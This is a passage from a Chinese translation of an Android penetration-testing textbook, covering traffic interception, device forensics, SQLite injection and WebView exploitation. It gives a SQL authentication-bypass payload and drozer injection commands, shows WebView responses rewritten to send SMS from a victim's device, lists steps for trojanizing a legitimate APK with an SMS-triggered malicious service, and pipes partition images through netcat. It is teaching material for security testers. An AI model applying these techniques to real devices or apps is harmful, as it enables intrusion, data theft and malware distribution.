还有用于SSL流量拦截的其他方法,以及在设备上安装证书的不同方法。 其他方法之一是从Android设备的 /system/etc/security位置拉取 cacerts.bks文件。一旦 我们拉取了它,我们就可以使用密钥工具以及BouncyCastle(位于Java安装目录中)来生 成证书。如果你在Java安装目录中找不到BouncyCastle,也可以 从 http://www.bouncycastle.org/latest_releases.html下载并将其放置在已知路径。此后,我 们需要挂载 /system分区作为读/写分区,以便将更新的 cacerts.bks证书推送回设备。然 而,为了使这种更改长期有效,如果我们使用模拟器,我们将需要使用 mks.yaffs2来创建一 个新的 system.img然后使用它。 此外,还有其他工具可用于拦截Android设备的流量,例如CharlesProxy和 MITMProxy( http://mitmproxy.org)。我强烈建议你在Burp代理的知识的基础上尝试他 们,因为它们在可用性方面是相同的,但是更强大。在使用CharlesProxy时,我们可以直 接从 www.charlesproxy.com/charles.crt下载证书。 在一些渗透测试中,应用程序可能正在和服务器通信并获得响应。例如,假设用户试图访问 应用的受限区域,该应用由用户从服务器请求。然而,由于用户没有被授权查看该区域,服 务器使用 403Forbidden进行响应。现在,我们作为渗透测试人员,可以拦截流量,并将响 应从 403Forbidden改为 200OK。因此,用户现在甚至能够访问应用的未授权区域。修改类 似响应的示例可以在第8章“ARM利用”中找到,其中我们将讨论可通过流量拦截利用的一些其 他漏洞。 在应用程序中,保护流量的安全方法是让所有内容通过HTTPS传递,同时在应用程序中包含 一个证书。这样做使得当应用程序尝试与服务器通信时,它将验证服务器证书是否与应用程 序中存在的证书相对应。但是,如果有人正在进行渗透测试并拦截流量,则由渗透测试程序 添加的设备使用的新证书(如portswigger证书)与应用程序中存在的证书不匹配。在这些 情况下,我们必须对应用程序进行逆向工程,并分析应用程序如何验证证书。我们甚至可能 需要修改和重新编译应用程序。 4.4使用封包捕获来提取敏感文件 现在我们来看看如何使用Wireshark从流量数据中提取敏感文件。为了做到这一点,我们可 以捕获数据包,并加载到Wireshark进行分析。 从网络捕获中提取文件的基本概念是,它们含有指定文件类型的头部 ( multipart/form-data)。以下是从网络流量捕获中提取任何类型文件的步骤: 1. 在Wireshark中,只需访问编辑并从包详细信息中搜索字符串 multipart。 第四章对Android设备进行流量分析 51 2. 一旦我们收到了向服务器发送POST请求的数据包(或者极少数情况下是GET),右键 单击该数据包,然后点击 FollowTCPStream。 3. 此后,根据文件起始值(如PDF的情况下为 %PDF),从以下选项中选择 Raw,然后使 用扩展名 .pdf保存文件。因此,我们拥有了最终的PDF,通过Android设备上传到网 站,而且我们恰巧在我们的渗透中开启了网络捕获。 第四章对Android设备进行流量分析 52 4. 我们还可以使用其他工具,如Windows上的NetworkMiner(可 从 http://www.netresec.com/?page=NetworkMiner下载),它提供了一个精心构建的GUI 来与之交互,并显式指定保存的网络流量捕获文件。 总结 在本章中,我们了解了在Android设备上执行流量分析的各种方法。此外,我们会继续拦截 来自应用程序和浏览器的HTTP和HTTPS流量数据。我们还看到如何从网络捕获信息中提 取敏感文件。 在下一章中,我们将介绍Android取证,并使用手动方式以及在不同工具的帮助下,从 Android设备中提取一些敏感信息。 第四章对Android设备进行流量分析 53 第五章Android取证 作者:AdityaGupta 译者:飞龙 协议:CCBY-NC-SA4.0 5.1取证类型 取证是使用不同的手动和自动方法从设备中提取和分析数据。它可以大致分为两类: 逻辑采集:这是的一种取证方法,其中取证员与设备交互并从文件系统提取数据。该数 据可以是任何内容,诸如应用特定数据,联系人,通话记录,消息,web浏览器历史, 社交网络用户信息和财务信息。逻辑采集的优点是,在大多数情况下比物理采集更容易 获取逻辑信息。然而,在一些情况下,该方法的一个限制是,在这种情况下的证据(智 能手机及其数据)具有被篡改的高风险。 物理采集:这意味着对整个物理存储介质进行逐位拷贝。我们还可以在执行物理采集时 定位不同的单个分区。与逻辑采集相比,这种方法慢得多,但更可靠和可信赖。此外, 为了在智能手机上执行物理采集,检查者需要熟悉不同类型的文件系统,例如Yet AnotherFlashFileSystem2(YAFFS2),ext3,ext4,rfs等。 5.2文件系统 在我们深入取证以及从设备提取数据之前,我们应该清楚地了解文件系统类型和它们之间的 差异。正如我们前面讨论的,在Android中进行物理采集有点棘手,一个主要原因是文件系 统不同。 Android文件系统的主分区通常被分区为YAFFS2。在Android中使用YAFFS2的原因是, 它为设备提供了优势,这包括更高的效率和性能,以及更低的占用空间。几年前,当Android 刚刚推出时,取证是平台上的一个大问题,因为几乎没有支持YAFFS2文件系统格式的取证 工具。 SD卡是FAT32类型,是正常系统用户中的共享格式。因此,为了获取SD卡的映像,可以 使用任何常规的数据采集取证工具。 制作副本或创建现有数据系统映像的最有名的工具之一是dd,它从原始来源到系统进行逐块 复制。然而,由于该工具的一些缺点,例如缺少内存块以及跳过坏块,会导致数据损坏,因 此不推荐在取证调查期间使用。在接下来的章节中,我们将深入介绍Android文件系统,并 将研究如何以最有效的方式从文件系统中提取数据。 第五章Android取证 54 Android文件系统分区 正如我们在前面的章节中讨论的,Android基于Linux内核,并从Linux本身派生其大部分功 能和属性。在Android中,文件系统被划分为不同的分区,每个分区都具有重要意义。 为了在Android设备上查看分区,我们可以使用 adbshell然后查看 proc下的 mtd文件,如 下面的命令所示。在一些不存在 mtd文件的设备中,在 proc下有另一个名为 partitions的 文件,如下面的命令所示: adbshell cat/proc/mtd 以下是在设备上执行上述命令来列出所有分区后的输出的屏幕截图。 正如我们在上面截图中看到的,存在各种文件系统分区及其各自的大小。在大多数Android 设备上,我们通常会看到一些数据分区, 如 system, userdata, cache, recovery, boot, pds, kpanic和 misc,它们安装 在 dev列指定的不同位置。为了看到不同的分区和类型,我们可以在 adbshell中键 入 mount。 正如我们在下面的截图中可以看到的,通过执行 mount命令列表,所有不同的分区及其位置 将被挂载: 5.3使用 dd提取数据 dd工具是取证中最常用的工具之一,以便为数据提取过程创建映像。换句话说,它用于将 指定的输入文件转换并复制为输出文件。通常在分析期间,我们不允许与证据直接交互和更 改。因此,获得设备文件系统的映像,然后对其执行分析总是一个好的选择。 第五章Android取证 55 默认情况下, dd工具在大多数基于Linux的系统中,以及在Android设备中 的 /system/bin中都存在。如果它不存在于你的设备中,您可以安装BusyBox,它将安 装 dd以及一些其他有用的二进制文件。你可以从BusyBox应用程序 ( https://play.google.com/store/apps/details?id=stericson.busybox)获取 dd的二进制文 件,或者你甚至可以自己交叉编译。 dd的标准语法如下: ddif=[sourcefilewhichneedstobecopied]of=[destinationfiletobecreated] 有几个命令行选项可以与 dd一起传递,其中包括: if:这是要复制的输入文件 of:这是内容要复制给它的输出文件 bs:这是块大小(一个数字),指定 dd复制映像的块大小 skip:这是在开始复制过程之前要跳过的块数 让我们现在继续,并取得现有分区之一的映像来进行取证 1. 我们需要找到的第一个东西是不同的分区,它们存在于我们的Android设备上,就像我 们之前做的一样。这可以通过查看 /proc/mtd文件的内容来完成。 2. 接下来,我们需要了解数据分区的位置,因为这里我们采集数据分区的备份。在这种情 况下,它位于 mtdblock6。这里,我们将启动 dd,并将映像存储在 sdcard中,稍后我 们将使用 adbpull命令拉取映像。 adbpull命令只是简单地允许你将文件从设备拉取 到本地系统。 3. 复制可能需要一些时间,一旦复制完成,我们可以退出 adbshell,访问我们的终端, 并键入以下代码: 第五章Android取证 56 adbpull/mnt/sdcard/data.imgdata.img 4. 我们还可以使用Netcat工具将映像直接保存到远程位置/系统。为此,我们首先需要将 端口从设备转发到系统。 adbforwardtcp:5566tcp:5566 5. 同时,我们需要在这里启动Netcat工具,监听端口5566。 nc127.0.0.15566>data.img 6. 此后,我们必须执行 adbshell进入设备,然后启动 dd工具,并将输出转发到Netcat。 nc-l-p5566-eddif=/dev/block/mtdblock6 这将把映像保存到系统中,而不是保存在设备上的任何位置,然后再拉取它。如果你的手机 上没有 dd二进制,你也可以安装BusyBox来获得 dd二进制。 开始取证调查之前应该确保的一件事是,检查设备是否被设置为在超级用户模式下操作,这 通常需要设备的root。然而,我们遇到的所有设备并不都是root。在这些情况下,我们将使 用我们的自定义恢复映像来启动手机,然后root设备。 5.4使用Andriller提取应用数据 Andriller是由DenisSazonov以Python编写的开源多平台取证工具,它有助于从设备中提取 一些基本信息,并且有助于进行取证分析。分析完成后,将生成HTML格式的取证报告。 为了下载它,我们可以访问官方网站 http://android.saz.lt/cgi-bin/download.py并下载必要 的包。如果我们在Linux或Mac环境中,我们可以简单地使用 wget命令来下载并解压软件 包。因为它只是一个Python文件,以及一些其他必要的二进制文件,所以没有必要安装它; 相反,我们可以直接开始使用它。 $wgethttp://android.saz.lt/download/Andriller_multi.tar.gz Savingto:'Andriller_multi.tar.gz' 100%[=============================>]1,065,574114KB/sin9.2s 2013-12-2704:23:22(113KB/s)-'Andriller_multi.tar.gz'saved[1065574/1065574] $tar-xvzfAndriller_multi.tar.gz 第五章Android取证 57 一旦解压完成,我们可以访问Andriller文件夹,之后只需使用 pythonandriller.py运行它。 Andriller的主要依赖之一是Python3.0。如果你使用Python2.7,它预装在大多数操作系统 上,你可以从官方网 站 http://python.org/download/releases/3.0/或 http://getpython3.com/下载3.0版本。 现在,一旦我们连接了设备,我们可以继续运行 Andriller.py,以便从设备捕获信息,并创 建日志文件和数据库。 $pythonAndriller.py 一旦开始运行,我们会注意到,它会打印出设备的几个信息,如IMEI号码,内部版本号和安 装的社交网络应用程序。这里,它检测到WhatsApp应用程序以及与其相关联的电话号码, 因此它将继续并拉取WhatsApp应用程序的所有数据库。 分析完成后,我们将看到类似以下屏幕截图的屏幕: 如果我们查看它为我们创建的HTML文件,它将显示一些关于设备的基本信息,如下面的屏 幕截图所示。它还在文件夹 db下的同一文件夹目录中创建所有数据库的转储。 第五章Android取证 58 如果我们分析这个应用程序的源代码,我们可以在 Andriller.py的源代码中看到,它会检查 设备中存在的不同包。我们还可以在这里添加我们自己的包并保存数据库,我们希望 Andriller为我们寻找它。 如下面的截图所示,你可以手动添加更多要使用Andriller备份的数据库。 5.5使用AFLogical提取所有联系人、通话记录和短信 AFLogical是由viaForensics编写的工具,以便从设备创建逻辑采集并将结果呈现给取证员。 它从设备中提取一些关键组件,包括短信,联系人和通话记录。 为了使用AFLogical,我们需要从GitHub 库 https://github.com/viaforensics/android-forensics下载项目的源代码。下载后,我们可以 将此项目导入我们的Eclipse工作区并进行构建。我们可以从我们现有的代码中访 问 File|New|Other|Android|AndroidProject,然后选择下载的源代码路径。 一旦我们将项目导入到我们的工作区,我们就可以在我们的设备上运行它,方法是右键单击 项目并选择“运行为Android应用程序”。一旦我们运行它,我们将注意到,我们的设备上 的 AFLogical应用程序提供了选项来选择要提取什么信息。在以下屏幕截图中,你将看到 AFLogical在设备上运行,并询问用户有关要提取的详细信息: 第五章Android取证 59 我们将检查所有东西,然后单击 Capture。AFLogical将开始从不同来源捕获详细信息,并 将捕获的详细信息保存在SD卡中的 csv文件中。捕获过程完成后,我们会注意到一个警告 框。 我们现在可以查看我们的SD卡路径,我们可以找到保存的 .csv文件。 然后我们可以在任何 .csv文件查看器中打开这些 .csv文件来查看详细信息。因此, AFLogical是一个快速有效的工具,用于从设备中提取一些信息,如联系人,通话记录和消 息。 5.6手动转储应用的数据库 第五章Android取证 60 既然我们已经看到,很多工具可以帮助我们进行取证,我们还可以使用 adb和我们的手动技 能从设备中提取一些信息。正如我们之前学到的,应用程序文件存储 在 /data/data/[应用程序的包名]/位置。由于大多数应用程序也使用数据库来存储数据,我们注 意到在名为 directory的包中有另一个名为 databases的文件夹。这里需要注意的一点是, 这只会帮助我们从使用数据库的应用程序中提取信息,以便转储应用程序和其他相关信息。 在某些应用程序中,我们可能还会注意到,应用程序将数据存储在XML文件中或使用共享首 选项,我们需要手动审计它们。 Android使用SQLite数据库(我们将在下一章深入讨论)与 .db文件格式。下面是手动提取 所有数据库的步骤: 进入设备,并创建一个文件夹来存储所有数据库 查找所有 .db文件并将其复制到创建的文件夹 压缩文件夹并拉取它 因此,我们可以使用 adbshell查找 /data/data/location中的所有数据库文件,将它们压缩 到归档文件中,然后将其拉取出来。 1. 在SD卡中创建一个名为 BackupDBS的文件夹。 2. 为此,我们可以简单地执行 adbshell,然后在 /mnt/sdcard下创建一个名 为 BackupDBS的文件夹: adbshell mkdir/mnt/sdcard/BackupDBS 3. 查找所有 .db文件并将其复制到 BackupDBS。 4. 为此,我们可以使用一个简单的命令行绝技来查找和复制 /data/data中的所有 .db文 件。我们首先使用 find命令查找所有 .db文件。在以下命令中,我们使用 find工 具,并指定从当前位置搜索,然后查找具有任何文件名(通配符 *)以及扩展名 db的 所有文件(即 *.db),以及类型为文件 f。 find.-name"*.db"-typef 下面的截图展示了输出: 第五章Android取证 61 5. 现在,我们可以简单地使用 cp和 find,以便将其复制到 BackupDBS目录 find.-name"*.db"-typef-execcp{}/mnt/sdcard/BackupDBS\; 6. 现在,如果我们查看 /mnt/sdcard下的 BackupDBS目录,我们的所有数据库都已成功复制 到此位置。 第五章Android取证 62 7. 压缩并拉取文件。现在,在同一位置,我们可以使用 tar工具创建一个压缩包,并使 用 adbpull。 tarcvfbackups.tarBackupDBS/ 8. 然后,从系统中,我们可以简单地像这样拉取它。此方法也可以用于通过 在 /data/app和 /data/app-private文件夹中查找文件类型 .apk,来从手机中拉取所 有 .apk文件。 9. 如果我们仔细看一看,在我们的 backups.tar中,还有一个名为 msgstore.db的 WhatsApp应用程序的数据库。让我们继续分析和研究数据库内部的内容。为此,我们 需要首先解压我们刚才拉取的 tar归档文件。 tar-xvfbackups.tar 10. 现在,为了分析名为 msgstore.db的WhatsApp的SQLite数据库,我们可以下载并使用 任何SQLite浏览器。对于本书,我们使用SQLite数据库浏览器,可以 从 http://sourceforge.net/projects/sqlitebrowser/下载。 11. 现在,如果我们在SQLite数据库浏览器中打开 msgstore.db文件并访问浏览器数据,我 们可以在SQLite浏览器中看到我们的所有WhatsApp对话。在以下截图中,我们可以 看到在SQLite数据库浏览器中打开的 msgstore.db,它显示WhatsApp应用程序的所有 第五章Android取证 63 聊天对话: 5.7使用logcat记录日志 Androidlogcat有时在取证调查期间很有用。它包含在电话以及收音机上执行的所有活动的 日志。虽然不完整,它可以帮助调查员了解设备中发生了什么。 为了捕获和保存logcat转储文件,我们可以简单地使用 adblogcat并将输出保存到一个文 件,稍后我们可以分析它。 adblogcat>logcat_dump.log 我们还可以使用 logcat以更加详细和有用的方式获取日志。例如,我们可以通过指定 -b参 数和 radio来获取收音机日志。 -b标志用于显示缓冲区(如收音机或事件)的logcat。 -v标志用于控制输出格式,它代表 verbose(详细),也可以 是 time, brief, process, tag, raw, threadtime或 long。除了 -v,我们还可以 使用 -d(调试), -i(信息), -w(警告)或 -e(错误)。 adblogcat-vtime-bradio-d 我们还可以使用其他工具,如 dmesg,它将打印内核消息,以及 getprop,它将打印设备的 属性: adbshellgetprop XDA开发人员成员rpierce99还提供了一个应用程序,用于自动捕获来自logcat和其他相关 来源的信息,这些信息可以从 https://code.google.com/p/getlogs/下载并使用。 第五章Android取证 64 5.8使用备份功能来提取应用数据 Android从4.0起引入了使用 adb的备份功能。此功能可用于创建应用程序的备份及其整个 数据。这在取证上非常有用,因为取证员可以捕获应用程序及其整个数据。请参阅以下步 骤: 1. 这可以通过在终端中执行 adbbackup命令,后面附带应用程序的包名来完成。如果我们 不知道应用程序的准确包名称,我们可以使用 pm列出所有包,然后过滤应用程序名称。 2. 执行此操作的另一种方法是使用 pmlistpackage命令,其中 -f标志指定要在包名称中 查找的字符串。 3. 接下来,我们可以简单地使用应用程序的包名称,来备份任何我们需要的应用程序。 adbbackup[packagename]-f[destinationfilename] 4. 目标文件将以文件扩展名 .ab(Android备份)存储。在这里,我们采集了WhatsApp 应用程序的备份。 5. 一旦我们运行命令,它将暂停,并要求我们在设备上确认,如下面的截图所示: 第五章Android取证 65 6. 在这里,我们需要选择 Backupmydata(备份我的数据)选项,并且还可以为备份指定 加密密码。一旦备份过程完成,我们将获得 whatsapp_backup.ab文件。 7. 接下来,我们需要解压此备份,以便从 .ab文件获取数据库。为此,我们将使 用 dd和 openssl创建一个 .tar文件,然后我们可以解压它。 8. 现在,由于我们获得了 .tar文件,我们可以使用 tarxvf简单解压它。 第五章Android取证 66 9. 一旦它解压完成,我们可以访问 apps/[package-name]下的 db文件夹,来获取数据库。 这里,程序包名称为 com.whatsapp。 让我们快速使用 ls-l来查看 db文件夹中的所有可用文件。正如你可以看到的,我们拥 有 msgstore.db文件,它包含WhatsApp对话,我们已经在上一节中看到了。 总结 在本章中,我们分析了执行取证的不同方法,以及各种工具,我们可以使用它们来帮助我们 进行取证调查。此外,我们了解了一些我们可以执行的手动方法,来从设备中提取数据。 在下一章中,我们将深入SQLite数据库,这是Android渗透测试的另一个要素。 第五章Android取证 67 第五章Android取证 68 第六章玩转SQLite 作者:AdityaGupta 译者:飞龙 协议:CCBY-NC-SA4.0 SQLite是一个开源数据库,具有许多类似于其他关系数据库(如SQL)的功能。如果你是应 用程序开发人员,你可能还会注意到SQLite查询看起来或多或少像SQL一样。在Android 中选择SQLite的原因是其内存占用较低。Android开发者喜欢SQLite的原因是它不需要设 置或配置数据库,并且可以在应用程序中直接调用。 6.1深入理解SQLite 正如我们在上一章中看到的,SQLite数据库默认在Android中存储 在 /data/data/[packagename]/databases/位置,扩展名为 .db文件(在Android的大多数情 况下)。现在,在我们更深入地探讨SQLite漏洞之前,我们应该清楚地了解SQLite语句和 一些基本的命令 分析使用SQLite的简单应用 在这里,我们有一个基本的Android应用程序,它支持用户的登录和注册,并在后端使用 SQLite。遵循以下步骤: 1. 让我们运行应用程序并分析它创建的数据库。你可以 从 http://attify.com/lpfa/vulnsqlite.apk下载漏洞应用程序。用于创建数据库的代码示 例如以下屏幕截图所示: 2. 这意味着我们有七个字段,名称为 id( integer), firstName( text), lastName ( text), email( text), phoneNumber( text), username( text),和 password ( text)。 tableName字段之前叫做 USER_RECORDS。 3. 让我们现在访问adbshell并检查数据库。我们可以使用SQLite浏览器访问SQLite文 件,我们在上一章中使用了它,或者我们可以使用命令行工具 sqlite3。对于整个这一 章,我们将使用名为 sqlite3的命令行工具,它存在于大多数Android设备中。如果你 的Android设备中不存在它,你可以使用Play商店中提供的BusyBox应用程序进行安 装。 第六章玩转SQLite 69 4. 所以,让我们继续分析数据库。我们需要做的第一件事是使用adbshell进入设备。 5. 下一步是访问 /data/data/[package-name]目录的位置并查找 databases文件夹。一旦我 们进入了数据库文件夹,我们会注意到各种文件。现在,SQLite数据库的文件格式大多 是前面提到的 .db,但它们也可以为 .sqlite, .sqlitedb或开发人员在创建应用程序 时指定的任何其他扩展名。如果你记得上一章中的练习,在查找数据库文件时,这正是 寻找其他扩展名的时候,例如 .sqlite。 6. 现在,我们可以使用以下命令使用 sqlite3打开数据库: sqlite3[databasename] 在这种情况下,由于数据库名称是 weak-db,我们可以简单地输 入 sqlite3vulnerable-db打开它。我们也可以在给定时间使用 sqlite3打开多个数据 库。要查看加载的当前数据库,我们可以键入 .databases命令列出我们当前的数据库, 如下面的截图所示: 7. 现在,我们打开数据库时要做的第一件事是查看数据库中包含的表。表的列表可以 由 .tables显示,如以下屏幕截图所示: 正如我们在这里可以看到的,有两个名称为 USER_RECORDS和 android_metadata的表。由 于我们对 USER_RECORDS更感兴趣,我们将首先继续查看表中的各个列,稍后我们将转储 列字段中的数据。为了查看有关表的更多信息,例如列字段,我们可以使用 .schema命 令,如下面的截图所示: 8. 接下来我们需要做的是通过执行 SELECT查询来查看列字段中的数据。 注意 另一个需要注意的重要事情是,SQL中使用的大多数查询对SQLite仍然有效。 9. 使用应用程序并为数据库填充一些信息。接下来,为了查询并查看 USER_RECORDS表,通 过通配符 *指定所有内容,我们可以使用以下命令: SELECT*fromUSER_RECORDS; 第六章玩转SQLite 70 运行上述命令将产生类似于如下所示的输出: 现在, sqlite3也给了我们改变输出格式,查看额外信息以及所需信息的自由。所以, 让我们继续,将查看 mode设置为 column,将 header设置为 on。 10. 让我们再次运行相同的查询并检查输出,如下面的截图所示: 还有其他可用的选项可用于渗透测试。其中之一是 .output命令。这会自动将之后的 SQL查询的输出保存到指定的文件,我们可以稍后拉取,而不是在屏幕上显示。一旦我 们将输出保存在文件中,并且想返回屏幕显示模式,我们可以使用 .output命令并将其 设置为 stdout,这将再次在终端上显示输出。 在SQLite中, .dump将创建一个列表,包含从数据库创建到现在为止所执行的所有SQL 操作。以下是在当前数据库上运行的命令的输出的屏幕截图: 此外,所有这些操作都可以从终端执行,而不是进入shell,然后启动 sqlite3二进制。 我们可以直接向adbshell传递我们的命令并获得输出,如下面的截图所示: 6.2安全漏洞 Web应用程序和移动应用程序中最常见的漏洞之一是基于注入的漏洞。如果按原样使用用户 提供的输入,或动态SQL查询的保护很少并且不足够,SQLite也会产生注入漏洞。 让我们来看看用于查询应用程序中的数据的SQL查询,如下所示: 第六章玩转SQLite 71 StringgetSQL="SELECT*FROM"+tableName+"WHERE"+ username+"='"+uname+"'AND"+password+"='"+pword+ "'"; Cursorcursor=dataBase.rawQuery(getSQL,null 在前面的SQL查询中, uname和 pword字段从用户输入直接传递到SQL查询中,然后使 用 rawQuery方法执行。 rawQuery方法实际上只是执行任何传递给它的SQL查询。另一个类 似于 rawQuery的方法是 execSQL方法,它和 rawQuery一样脆弱。 前面的SQL查询用于验证用户的登录凭据,然后显示其在注册期间使用的信息。所以,这里 的SQL引擎检查用户名和密码是否匹配在一行,如果是这样,它返回一个布尔值 TRUE。 然而,想象一个场景,我们可以修改我们的输入,而不是正常的文本输入,它似乎是应用程 序的SQL查询的一部分,然后又返回 TRUE,从而授予我们身份。事实证明,如果我们把用 户名/密码设为 1'or'1'='1或任何类似总是 TRUE的查询,我们就破解了应用程序的身份验证 机制,这反过来是一个很大的安全风险。另外,请注意,由于使用单引号,在前面输入中使 用的 OR将在SQL查询中被视为 OR。这将闭合用户名字段,并且我们的其余输入将解释为 SQL查询。你可以从 http://attify.com/lpfa/sqlite.apk下载漏洞应用程序。这里是攻击情 况下的SQL查询: SELECT*FROMUSER_RECORDSWHEREUSERNAME='1'or'1'='1'AND PASSWORD='something' 如果应用程序检测到登录成功,它会显示一个弹出框,其中包含用户信息,就像在SQLite身 份验证绕过攻击的情况下一样,如下面的屏幕截图所示: 我们还可以在输入结尾处附加双连字符( -),来使SQL查询的其余部分仅解释为对应用程 序的注释。 让我们看看另一个应用程序,这一次,利用drozer,我们以前使用的工具,来利用SQLite注 入漏洞。 这个应用程序是一个待办事项,用户可以保存他们的笔记;该笔记存储在名为 todotable.db的 数据库中,并在应用程序中通过内容供应器访问。遵循以下步骤: 第六章玩转SQLite 72 1. 让我们继续,并启动drozer,查看这个应用程序的数据库,如下面的命令所示。软件包 名称为 com.attify.vulnsqliteapp。 adbforwardtcp:31415tcp:31415 drozerconsoleconnect 2. 一旦我们进入了Drozer的控制台,我们就可以运行 finduri扫描器模块来查看所有内容 URI和可访问的URI,如下所示: dz>runscanner.provider.finduris-acom.attify.vulnsqliteapp Scanningcom.attify.vulnsqliteapp... UnabletoQuery content://com.attify.vulnsqliteapp.contentprovider/ AbletoQuery content://com.attify.vulnsqliteapp.contentprovider/todos AbletoQuery content://com.attify.vulnsqliteapp.contentprovider/todos/ UnabletoQuery content://com.attify.vulnsqliteapp.contentprovider AccessiblecontentURIs: content://com.attify.vulnsqliteapp.contentprovider/todos content://com.attify.vulnsqliteapp.contentprovider/todos/ 3. 接下来,我们将使用Drozer中的注入扫描程序模块检查应用程序中基于注入的漏洞,如 下所示: dz>runscanner.provider.injection-acom.attify.vulnsqliteapp Scanningcom.attify.vulnsqliteapp... NotVulnerable: content://com.attify.vulnsqliteapp.contentprovider/ content://com.attify.vulnsqliteapp.contentprovider InjectioninProjection: Novulnerabilitiesfound. InjectioninSelection: content://com.attify.vulnsqliteapp.contentprovider/todos content://com.attify.vulnsqliteapp.contentprovider/todos/ 4. 所以,现在我们可以使用可选参数来查询这些内容供应器,例如 1=1,它将在所有情 况下返回 TRUE,如下面的截图所示: 5. 此外,我们可以使用Drozer模块 app.provider.insert,并通过指定参数和要更新的数 据类型,将我们自己的数据插入SQLite数据库。让我们假设我们要在数据库中添加另一 个 to-do条目。因此,我们需要四个字 第六章玩转SQLite 73 段: id, category, summary和 description,数据类型分别 为 integer, string, string和 string。 6. 因此,完整的语法将变成: runapp.provider.insert content://com.attify.vulnsqliteapp.contentprovider/todos/- -integer_id2--stringcategoryurgent--stringsummary "FinancialSummary"--stringdescription"SubmitAnnual Report" 成功执行后,它将显示完成消息,如以下屏幕截图所示: 总结 在本章中,我们深入了解了SQLite数据库,甚至在应用程序中发现了漏洞,并利用Drozer 来利用它们。SQLite数据库应该是渗透测试人员关注的主要问题之一,因为它们包含了应用 程序的大量信息。在接下来的章节中,我们将了解一些不太知名的Android利用技术。 第六章玩转SQLite 74 第七章不太知名的Android漏洞 作者:AdityaGupta 译者:飞龙 协议:CCBY-NC-SA4.0 在本章中,我们将了解一些不太知名的Android攻击向量,这在Android渗透测试中可能很 有用。我们还将涵盖一些主题,如Android广告库中的漏洞和 WebView实现中的漏洞。作为 渗透测试者,本章将帮助你以更有效的方式审计Android应用程序,并发现一些不常见的缺 陷。 7.1AndroidWebView漏洞 WebView是一种Android视图,用于在应用程序中显示Web内容。它使用WebKit渲染引 擎,以便使用 file//和 data//协议显示网页和其他内容,可以用于从文件系统加载文件和 数据内容。 WebView也用于各种Android应用程序,例如提供注册和登录功能的应用程序。 它通过在应用程序的布局中构建其移动网站,来显示应用程序中的Web内容。我们将在下一 章中进一步讨论WebKit及其渲染引擎。对于本章,我们将只关心使用WebKit的那些应用程 序。 在应用中使用WebView 在应用程序中使用 WebView非常简单和直接。假设我们希望我们的整个活动都是一 个 WebView组件,从 http://examplewebsite.com加载内容。 下面是在Android应用程序中实现 WebView的代码示例: WebViewwebview=newWebView(this); setContentView(webview); webview.loadUrl("http://vulnerable-website.com"); 另一个重要的事情是,大多数开发人员最终为了增强应用程序的功能,在 WebView实现中使 用以下命令启用JavaScript(默认设置为 False): setJavascriptEnabled(true); 前面的命令确保JavaScript可以在应用程序中执行,并利用注册界面。 识别漏洞 第七章不太知名的Android漏洞 75 想象一下这种情况,应用程序在不安全的网络中使用,允许攻击者执行中间人攻击(更多中 间人攻击的内容请参见OWASP网 站 https//www.owasp.org/index.php/Man-in-the-middle_attack)。如果攻击者可以访问网络, 则他们可以修改请求和对设备的响应。这表示他们能够修改响应数据,并且如果从网站加载 JavaScript内容,则可以完全控制JavaScript内容。 事实上,通过使用它,攻击者甚至可以使用JavaScript来调用手机上的某些方法,例如向另 一个号码发送短信,拨打电话,甚至使用诸如Drozer之类的工具获取远程shell。 让我们举个简单的例子,来说明 WebView漏洞的可能性。在这里,我们将使用JoshuaDrake 的GitHub仓库( https://github.com/jduck/VulnWebView/)中的,由他创建的概念证明。这 个POC在应用程序中使用 WebView,来简单加载一个URL并且加载一个位 于 http://droidsec.org/addjsif.html的网页(如果这个链接打不开,你可以访 问 http//attify.com/lpfa/addjsif.html)。 以下是Eclipse中代码示例的屏幕截图,其中使用名称Android创建JavaScript界面: 我们还可以从源代码中创建 apk文件,只需右键单击项目,然后选 择 ExportasanAndroidApplication(导出为Android应用程序)。一旦我们运行应用程序 并监听Burp代理中的流量,我们将看到应用程序中指定的URL的请求,如以下屏幕截图所 示: 第七章不太知名的Android漏洞 76 现在,当响应来自服务器时,我们可以修改响应数据并使用它来利用此漏洞,如以下屏幕所 示 让我们假设攻击者需要利用这个漏洞应用程序,来使用受害者的设备向一个号码发送短信。 以下屏幕截图显示了修改后的响应的样子: 一旦我们点击 Forward(转发)按钮,邮件将从受害者的设备发送到攻击者指定的号码。 上述内容简单地调用 SMSManager(),以便将包含文本 pwned的SMS发送到的预定义号码。 第七章不太知名的Android漏洞 77 这是一个利用存在漏洞的 WebView应用程序的简单示例。事实上,你可以尝试调用不同的方 法或使用Drozer从设备获取远程shell。你还可以访 问 https://labs.mwrinfosecurity.com/blog/2013/09/24/webview-addjavascriptinterface-remote-code-executio 阅读通过Drozer利用 WebView的更多信息。 7.2感染合法APK 由于Google的不严格政策,将应用上传到Play商店时,许多开发人员上传了恶意应用和软 件,目的是从使用者的装置窃取私人资料。GooglePlay中存在的大多数恶意软件只是合法 应用程序的受感染版本。恶意软件作者只需要一个真正的应用程序,反编译它,插入自己的 恶意组件,然后重新编译它,以便分发到应用商店和感染用户。这可能听起来很复杂,但实 际上,这是一个非常简单的事情。 让我们尝试分析恶意软件作者如何修改合法应用程序,来创建它的受感染版本。执行此操作 的最简单的方法之一是编写一个简单的恶意应用程序,并将其所有恶意活动放在服务中。此 外,我们在 AndroidManifest.xml文件中添加广播接收器,以便指定的事件(例如接收SMS) 能够触发我们的服务。 因此,以下是创建受感染版本的合法应用程序的简单步骤: 1. 使用 apktool解压缩应用程序,如下所示: apktoold[appname].apk 2. 反编译恶意应用程序来生成Java类的smali文件。在这里,我们需要将所有的恶意活动 放在服务中。此外,如果你有smali语言的经验,你可以直接从smali本身创建服务。 假设恶意服务的名称是 malware.smali。 3. 接下来,我们需要将 malware.smali文件复制到smali文件夹,它位于我们反编译的合法 应用程序的文件夹中。我们把 malware.smali中的软件包名称的所有引用更改为合法应 用程序的软件包名称,并在 AndroidManifest.xml中注册服务。 在这里,我们需要在 AndroidManifest.xml文件中添加另一行,如下所示: <servicedroid:name="malware.java"/> 4. 此外,我们需要注册一个广播接收器来触发服务。在这种情况下,我们选择短信作为触 发器,如下面的代码所示: <receiverandroid:name="com.legitimate.application.service"> <intent-filter> <actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> 第七章不太知名的Android漏洞 78 5. 使用 apktool重新编译应用,像这样: apktoolbappname/ 一旦应用程序使用 apktool重新编译,新的apk将为被感染的合法版本。向手机发送邮件可 能会自动触发此恶意软件。如果恶意软件服务需要的权限比合法应用程序更多,我们还需要 手动在 AndroidManifest.xml文件中添加缺少的权限。 